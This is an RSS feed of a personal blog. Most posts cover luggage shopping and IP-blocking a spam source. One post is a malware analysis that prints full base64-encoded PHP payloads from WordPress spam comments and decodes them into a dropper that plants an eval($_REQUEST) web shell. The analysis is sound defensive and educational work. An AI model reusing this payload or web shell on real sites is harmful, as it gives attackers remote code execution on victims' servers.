<?xml version='1.0' encoding='utf-8' ?>

<rss version='2.0' xmlns:lj='http://www.livejournal.org/rss/lj/1.0/' xmlns:atom10='http://www.w3.org/2005/Atom'>
<channel>
  <title>terriko</title>
  <link>http://terriko.dreamwidth.org/</link>
  <description>terriko - Dreamwidth Studios</description>
  <lastBuildDate>Tue, 14 May 2013 09:36:34 GMT</lastBuildDate>
  <generator>LiveJournal / Dreamwidth Studios</generator>
  <lj:journal>terriko</lj:journal>
  <lj:journaltype>personal</lj:journaltype>
  <atom10:link rel='self' href='http://terriko.dreamwidth.org/data/rss' />
  <atom10:link rel='hub' href='http://pubsubhubbub.appspot.com/' />
  <image>
    <url>http://www.dreamwidth.org/userpic/164493/266577</url>
    <title>terriko</title>
    <link>http://terriko.dreamwidth.org/</link>
    <width>100</width>
    <height>100</height>
  </image>

<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/122745.html</guid>
  <pubDate>Tue, 14 May 2013 09:36:34 GMT</pubDate>
  <title>Scooter luggage and travel cosplay.</title>
  <link>http://terriko.dreamwidth.org/122745.html</link>
  <description>&lt;a href=&quot;http://beersandbeans.com/2012/08/19/micro-luggage-review-the-only-way-to-fly/&quot;&gt;Luggage with a built-in scooter is awesome&lt;/a&gt;.  I&apos;ve seen ride-on wheeled luggage for kids (and coveted it mightily), and this appears to be the adult-friendly equivalent.  Sadly, does not meet a lot of my other criteria (I&apos;d be shocked if they let me avoid gatechecking this) and it&apos;s $250 (&lt;a href=&quot;http://www.kickboardusa.com/kick-luggage&quot;&gt;But at least shipping is free...&lt;/a&gt;).  I&apos;m tempted just for the awesome factor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.ebay.com/itm/Fashion-16-inch-carry-on-rolling-duffel-suitcase-bag-Traveler-Luggage-case-Small-/360622797999?pt=Luggage&amp;amp;hash=item53f6cb34af&quot;&gt;Here&apos;s a small hard case that meets a lot more of my criteria&lt;/a&gt;.  It clocks in at 35cmx39cmx23cm (that&apos;s 14&quot;x15&quot;x9&quot; for those of us who have to fly in America) and comes in cheerful colours.  I&apos;m actually not sure which one I&apos;d choose -- normally I shun the pinks but that dark one is pretty lovely and would fit nicely into some sort of business-travelling fashionista persona if I dressed the part with some business casuals.  But maybe the green or red would be less likely to clash with my existing wardrobe.... Honestly, I&apos;m approaching this project much like I do cosplay, and now that I think about it it&apos;s not really that different: I&apos;m playing for an audience to believe me to be someone very specific.  Nevermind that I&apos;m still projecting a variant on me; it&apos;s all the same body language, fashion, and carefully chosen accessories that make it work.&lt;br /&gt;&lt;br /&gt;Similarly, &lt;a href=&quot;http://www.ebay.com/itm/16-inch-Business-rolling-Carry-On-trolley-luggage-suitcase-duffel-Case-Travel-/170992447096?pt=Luggage&amp;amp;hash=item27cff1ae78&quot;&gt;a bright orange gem&lt;/a&gt; that could probably work with the persona too.  36x44x20cm (14x17x8&quot;) for that one, and only two wheels tucked into the edges so probably a bit more packing space in the final tally.&lt;br /&gt;&lt;br /&gt;But despite the obvious appeal for my in-progress traveler persona, I&apos;m not seeing any useful way for me to get reviews of these that I can actually understand since they&apos;re shipping from Hong Kong, and I haven&apos;t quite decided if I really should be making a hundred dollar gamble just because the colours are fun.   I wonder if it&apos;s possible to find something similar that&apos;s at least a little more local to me? I have learned the useful new search terms &quot;rolling business case&quot; but it&apos;s mostly been turning up uninspired blackness.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Incidentally, I *did* check the wirecutter and &lt;a href=&quot;http://thewirecutter.com/leaderboard/best-bags/&quot;&gt;they do have a section on bags&lt;/a&gt;, just not the kind I&apos;m looking for.  Bags are one of those few things I&apos;m exceptionally picky about (especially right now while mildly injured, but even when not I tend to have precise requirements) so it probably isn&apos;t that much of a loss.  They&apos;re apparently looking for a freelance bag editor and I rather wish I were actually the right person for that job.  Lot of work for little pay, but a chance to try lots of bags!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=122745&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/122745.html</comments>
  <category>social hacking</category>
  <category>travel</category>
  <lj:security>public</lj:security>
  <lj:reply-count>3</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/122429.html</guid>
  <pubDate>Thu, 09 May 2013 18:44:59 GMT</pubDate>
  <title>Smaller travel bags</title>
  <link>http://terriko.dreamwidth.org/122429.html</link>
  <description>I currently own a 20&quot; rolling carry-on bag that has met my airline &amp; train travel needs for years (I switched to it a year or two before airlines started charging for checked bags), and it&apos;s perfect for a week-long conference where I&apos;m coming back or going out with a lot of stuff, or when I&apos;m visiting my parents for close to a month at Christmas, but it seems excessive when I&apos;m going for a weekend trip or a job interview.  &lt;br /&gt;&lt;br /&gt;I&apos;m considering getting a smaller suitcase for those shorter trips, so I&apos;m working out my requirements.  &lt;a href=&quot;http://www.flyertalk.com/forum/travel-products/1305183-best-rolling-bag-smaller-regional-jets.html&quot;&gt;This thread covers more or less what I have in mind&lt;/a&gt;, but here&apos;s some personal preference/requirement notes:&lt;br /&gt;&lt;br /&gt;1. Must have wheels.  I used to do backpack+purse for shorter trips, but I&apos;ve been finding that I often pinch a nerve during travel and I&apos;m pretty sure carrying my camera/laptop on my back is a factor.  &lt;br /&gt;&lt;br /&gt;2. Can fit my laptop and possibly SLR camera + 2-3 days worth of clothes.  Thankfully my clothes are pretty small.  Camera may be optional: I&apos;m trying a downgrade to a point and shoot for short trips.&lt;br /&gt;&lt;br /&gt;3. Preferably I&apos;d like something that can fit into the overhead bin on the smaller regional jets, since often my flight will have one hop with those.  A search says that this means the bag will have to be around 18Lx14Wx7D.  Sounds like you can fit larger, but I&apos;d rather not have to argue it out with the gate staff / flight attendant every time.  I am perfectly ok with being given a checked tag and then &quot;obliviously&quot; carrying my bag on the plane anyhow as long as it will fit, though.&lt;br /&gt;&lt;br /&gt;4. Butnot arguing with the gate/flight staff every time I fly would be awesome.  This may mean going with something more backpack-like so I can just put it on my back when I walk on the plane, but mostly it just reinforces &quot;small&quot; and &quot;looks like it holds a laptop.&quot;  Briefcases should work.&lt;br /&gt;&lt;br /&gt;5. Should have an open clothing section as opposed to a bunch of filefolder divider things that will make it harder to pack.  &lt;br /&gt;&lt;br /&gt;6. Should open fully, at least for the clothing section.  Pure preference on my part.&lt;br /&gt;&lt;br /&gt;7. I&apos;m not too picky about laptop sleeves, although something I can easily slip a laptop out of for the TSA or in case I do have to check the bag is good.  I basically never use my laptop on the plane, I just don&apos;t want to skycheck it.&lt;br /&gt;&lt;br /&gt;8. If at all possible, not black.  Something like 90% of the suitcases I see are black and I don&apos;t want to be worrying about someone grabbing mine by mistake.&lt;br /&gt;&lt;br /&gt;9. But (and i realize this may contradict the &quot;not black&quot; thing) something that looks more business traveller-y would be good.  I have a *lot* of trouble with TSA reps assuming I&apos;m young or an infrequent traveler which is especially frustrating when I go somewhere with J and they immediately assume he&apos;s an expert while I get the &quot;oh, hon, you know our machines are perfectly safe?&quot; talk-down-to-the-little-girl spiel.  (My new response: &quot;My sister is a physicist who works in health and safety; I&apos;d like to opt out.&quot; which is factually true but irrelevant and calculated to throw them and possibly nearby travelers out of their default headspace without getting into an argument.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I&apos;ve been finding that &lt;br /&gt;(a) A disturbing number of online sites don&apos;t give pictures of the inside of the bags.&lt;br /&gt;(b) A disturbing number of online sites don&apos;t give dimensions or even pictures that could help me guess the dimensions&lt;br /&gt;(c) Bags are expensive (duh)&lt;br /&gt;(d) There is an entire market for &quot;women&apos;s suitcases&quot; which I find somewhat strange.  Particularly given that the &quot;women&apos;s briefcase-bags&quot; seem pretty much identical to the non-women&apos;s ones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I don&apos;t have any short trips scheduled, but I&apos;m hoping to find some bag options I like and catch a sale (luggage goes on sale quite frequently, so it&apos;s a bit ridiculous to pay full price if I&apos;ve got time to spare).&lt;br /&gt;&lt;br /&gt;I would love to hear first hand testimonials from any of you who travel with a bag that might meet my needs, though.  It was a recommendation from Linuxchix that drew me to my current bag which has done me pretty well although it&apos;s starting to show its age now.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=122429&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/122429.html</comments>
  <category>social hacking</category>
  <category>travel</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/122187.html</guid>
  <pubDate>Mon, 06 May 2013 20:01:12 GMT</pubDate>
  <title>Falling down the rabbit hole: An analysis of some questionable blog spam</title>
  <link>http://terriko.dreamwidth.org/122187.html</link>
  <description>&lt;strong&gt;WARNING:  This entry contains some actual malicious code.  I&apos;ve HTML-escaped it so that it isn&apos;t going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you&apos;re going to mess around with analyzing, do it in a browser that&apos;s not logged in to any Wordpress blog.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Or this clearly related one (note that the top of the string is the same):&lt;br /&gt;&lt;code&gt;&lt;br /&gt;aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;As you can tell from the first sample, it&apos;s base64 encoded... something.  b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn&apos;t enough to tell me that something bad was intended, the b64 encoding itself would have been a clue.  If I didn&apos;t have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).&lt;br /&gt;&lt;br /&gt;Being a curious sort of person, I decoded the first string.  In my case, I just opened up Python, and did this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; import base64&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; base64.b64decode(badstring1)&lt;br /&gt;&quot;if($f=fopen(&apos;wp-content/cache/ifooag.php&apos;,&apos;w&apos;)){fputs($f,&apos;&amp;lt;?php /*N%P`%*/eval/*If\\&apos;,-*/(/*&amp;gt;6`He*/base64_decode/*@M)2*/(/*~:H5*/\\&apos;Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\&apos;/*OzM520*/./*9J+,*/\\&apos;qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\&apos;/*yAt&amp;amp;*/./*@5Dw&amp;amp;]N*/\\&apos;wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\&apos;/*Yabk*/./*O~qs*/\\&apos;yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\&apos;/*{YJ}1*/./*v+(-;k*/\\&apos;enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\&apos;/*(kCp@Y&amp;gt;*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``&amp;gt;{*/;/*-|lTE1*/?&amp;gt;&apos;);fclose($f);}&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;(Well, okay, I actually ran &lt;code&gt;cgi.escape(base64.b64decode(badstring1))&lt;/code&gt; to get the version you&apos;re seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that&apos;s not relevant to the code analysis, just useful if you&apos;re talking about code on the internet)&lt;br /&gt;&lt;br /&gt;So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64).  But we&apos;ve learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to.  I did a quick web search, and found a bunch of spam, so my bet is that they&apos;re opening a new file rather than modifying an existing one.  And we can tell that they&apos;re trying to put some php into that file because of the &amp;lt;?php and ?&amp;gt; which are character sequences that tell the server to run some php code.&lt;br /&gt;&lt;br /&gt;But that code?  Still looks pretty much like gobbledegook.&lt;br /&gt;&lt;br /&gt;If you know a bit about php, you&apos;ll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;eval(base64_decode(\\&apos;Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\&apos;.\\&apos;qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\&apos;.\\&apos;wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\&apos;.\\&apos;yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\&apos;.\\&apos;enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\&apos;));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Feel like we&apos;re going in circles?  Yup, that&apos;s another base64 encoded string.  So let&apos;s take out the quotes and the concatenations to see what that is:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You might think we&apos;re getting close now, but here&apos;s what you get out of decoding that:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; base64.b64decode(badstring1a)&lt;br /&gt;&quot;/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/&apos;c&apos;/*1?@et[*/./*=,)*/&apos;z&apos;/*uTA93*/./*C{G:@4\\*/&apos;l&apos;/*8t o*/./*myM=&amp;lt;D`*/&apos;z&apos;/*xgg1v61*/./*VpIg4*/&apos;y&apos;/*e|jyA*/./*,v(*/&apos;l&apos;/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI&apos;_*//*O_k*/)/*H@aK4T*/eval/*2N|20&amp;gt;*/(/*UsHmY]eZ*/stripslashes/*&amp;lt;Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/&apos;c&apos;/*Hoh*/./*XN;G*/&apos;z&apos;/*;&amp;amp;3(21d&amp;amp;]*/./*;POu*/&apos;l&apos;/*YYP3zu*/./*UliU-*/&apos;zyl&apos;/*FTY\\4*/]/*N?Rb&amp;gt;+f*//*K+KC*/)/*l@j*//*bX&amp;lt;*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v&apos;I*/&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Yup, definitely going in circles.  But at least we know what to do: get rid of the comments again.&lt;br /&gt;&lt;br /&gt;Incidentally, I&apos;m just using a simple regular expression to do this: &lt;code&gt;s/\/\*[^*]*\*\///g&lt;/code&gt;.  That&apos;s not robust against all possible nestings or whatnot, but it&apos;s good enough for simple analysis.  I actually execute it in vim as &lt;code&gt;:%s/\/\*[^*]*\*\///gc&lt;/code&gt; and then check each piece as I&apos;m removing it.&lt;br /&gt;&lt;br /&gt;Here&apos;s what it looks like without the comments:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;if(isset($_REQUEST[&apos;c&apos;.&apos;z&apos;.&apos;l&apos;.&apos;z&apos;.&apos;y&apos;.&apos;l&apos;]))eval(stripslashes($_REQUEST[&apos;c&apos;.&apos;z&apos;.&apos;l&apos;.&apos;zyl&apos;]));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So let&apos;s stick together those concatenated strings again:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;if(isset($_REQUEST[&apos;czlzyl&apos;]))eval(stripslashes($_REQUEST[&apos;czlzyl&apos;]));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Okay, so now it&apos;s added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That&apos;s actually pretty interesting: it&apos;s not fully executing the malicious payload now; it&apos;s waiting for an outside request.  Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?&lt;br /&gt;&lt;br /&gt;It&apos;s going to go to be a request that starts like this &lt;a href=&quot;http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=&quot;&gt;http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately, I don&apos;t have access to the logs for the particular site I saw this on, so my analysis stops here and I can&apos;t tell you exactly what it was going to try to execute, but I think it&apos;s pretty safe to say that it wouldn&apos;t have been good.  I &lt;em&gt;can&lt;/em&gt; tell you that there is no such file on the server in question and, indeed, the code doesn&apos;t seem to have been executed since it got caught in the spam queue and discarded by me.&lt;br /&gt;&lt;br /&gt;But if you&apos;ve ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened.  All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you&apos;re moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying.  Thankfully it doesn&apos;t render it unusable!&lt;br /&gt;&lt;br /&gt;Meanwhile, want to try your own hand at analyzing code?  I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader.  Happy hacking!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=122187&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/122187.html</comments>
  <category>web security</category>
  <category>geek</category>
  <category>bad behaviour</category>
  <category>web</category>
  <category>spam</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/121810.html</guid>
  <pubDate>Mon, 06 May 2013 18:29:54 GMT</pubDate>
  <title>Remove 80% of your blog comment spam by blocking IPTelligent!</title>
  <link>http://terriko.dreamwidth.org/121810.html</link>
  <description>I maintain a couple of blogs outside of this one, and the most popular one I&apos;m involved with gets a lot of spam.  There seemed to be a particular uptick about a month back, and I went to look into it.&lt;br /&gt;&lt;br /&gt;What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC.  There&apos;s no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam.   Given a short websearch, &lt;a href=&quot;http://www.itmasterservices.com/wordpress/2013/03/are-you-receiving-traffic-from-iptelligent-llc-96-47-225-82/&quot;&gt;it seems&lt;/a&gt; pretty &lt;a href=&quot;http://www.webhostingtalk.com/showthread.php?t=1168345&quot;&gt;likely&lt;/a&gt; that &lt;a href=&quot;https://www.google.com/safebrowsing/diagnostic?site=AS:8100&amp;amp;hl=en&quot;&gt;IPTelligent is intentionally evil&lt;/a&gt;.  I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently &lt;em&gt;is&lt;/em&gt; a form of evil even if it wasn&apos;t intentional.  Whatever.&lt;br /&gt;&lt;br /&gt;Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.&lt;br /&gt;&lt;br /&gt;Since this particular blog uses Wordpress, solving the problem was pretty simple.  Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet.  Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn&apos;t even see the messages and have to scan through them.  Thankfully, there are lots of plugins for this.  I settled on one called &lt;a href=&quot;https://wordpress.org/extend/plugins/wp-ban/&quot;&gt;wp-ban&lt;/a&gt; that seems to be working well for my needs.&lt;br /&gt;&lt;br /&gt;Once that&apos;s installed, the settings are under Settings-&amp;gt;Ban.  At the top of my list, I now have&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;
# IPTelligent owns these ips, and they seem to be a spam company
96.47.225.*
173.44.37.*
96.47.224.*
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Which covers the majority of the IP that were hitting us with spam.  A glance at &lt;a href=&quot;https://ipdb.at/org/IPTelligent_LLC&quot;&gt;a more specific list of IPTelligent IPs&lt;/a&gt; suggests that those lines are good enough right now, although it&apos;s possible that they&apos;ll buy more IP blocks eventually.  (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I&apos;m not listing those IPs here).&lt;br /&gt;&lt;br /&gt;Of course, it would be better if someone took the company to court for this.  I am not a lawyer, but it seems to me that the &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act&quot;&gt;Computer Fraud and Abuse Act&lt;/a&gt; must cover at least some portion of their activities.  I mean, the things they charged &lt;a href=&quot;https://en.wikipedia.org/wiki/Aaron_Swartz&quot;&gt;Aaron Swartz&lt;/a&gt; with under that act seem less sketchy than what IPTelligent is doing.  But court cases take time and money, and banning them right now is pretty easy, so I figured I&apos;d share the short-term solution in case it&apos;s useful to anyone who&apos;d like to get a little less spam right away.  (We are indeed getting ~80% less spam since the bans went into place.)&lt;br /&gt;&lt;br /&gt;For the record, here&apos;s the company info as I get from the whois database right now:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;
OrgName:        IPTelligent LLC
OrgId:          IPTEL-1
